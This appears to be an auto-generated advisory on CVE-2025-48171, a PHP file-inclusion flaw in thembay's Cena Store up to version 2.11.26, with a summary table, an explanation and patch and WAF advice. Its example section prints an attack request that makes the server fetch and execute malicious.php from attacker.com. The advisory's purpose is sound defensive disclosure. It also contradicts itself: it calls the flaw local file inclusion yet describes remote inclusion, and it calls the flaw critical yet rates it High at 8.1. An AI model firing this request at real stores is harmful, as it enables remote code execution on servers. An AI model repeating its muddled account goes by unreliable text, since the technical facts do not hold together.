Overview
CVE-2025-48171 is a critical vulnerability that affects the Cena Store application developed by thembay. This vulnerability is due to improper control of the filename for include/require statements in the PHP program. This allows malicious actors to exploit the PHP Local File Inclusion (LFI), leading to potential system compromise or data leakage.
As the Cena Store application is widely used in various e-commerce platforms, the impact of this vulnerability can be widespread, potentially affecting numerous online stores and their users. Thus, it is highly important to understand this vulnerability and implement the recommended mitigation measures.
Vulnerability Summary
CVE ID: CVE-2025-48171
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
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Product | Affected Versions
Cena Store by thembay | n/a through 2.11.26
How the Exploit Works
The vulnerability arises from the improper control of filename for include/require statements in the PHP program, specifically within the Cena Store application. This improper control allows an attacker to include a file from a remote server, which can contain malicious code.
The attacker can exploit this vulnerability by sending a specially crafted request to the server hosting the Cena Store application. The server then processes this request, leading to the inclusion of the remote file and execution of the malicious code.
Conceptual Example Code
Here is a hypothetical example of how the vulnerability might be exploited.
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-cena-store.comThe above request tells the server to fetch the file `malicious.php` from `attacker.com` and include it in `index.php`. This effectively allows the attacker to execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.
Mitigation and Recommendations
To mitigate this vulnerability, it is recommended that users of the affected Cena Store versions immediately apply the vendor provided patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
In addition, it’s also advisable to regularly update and patch all software to prevent exploitation of known vulnerabilities. Regular security audits and code reviews can also go a long way in ensuring the security of your systems.
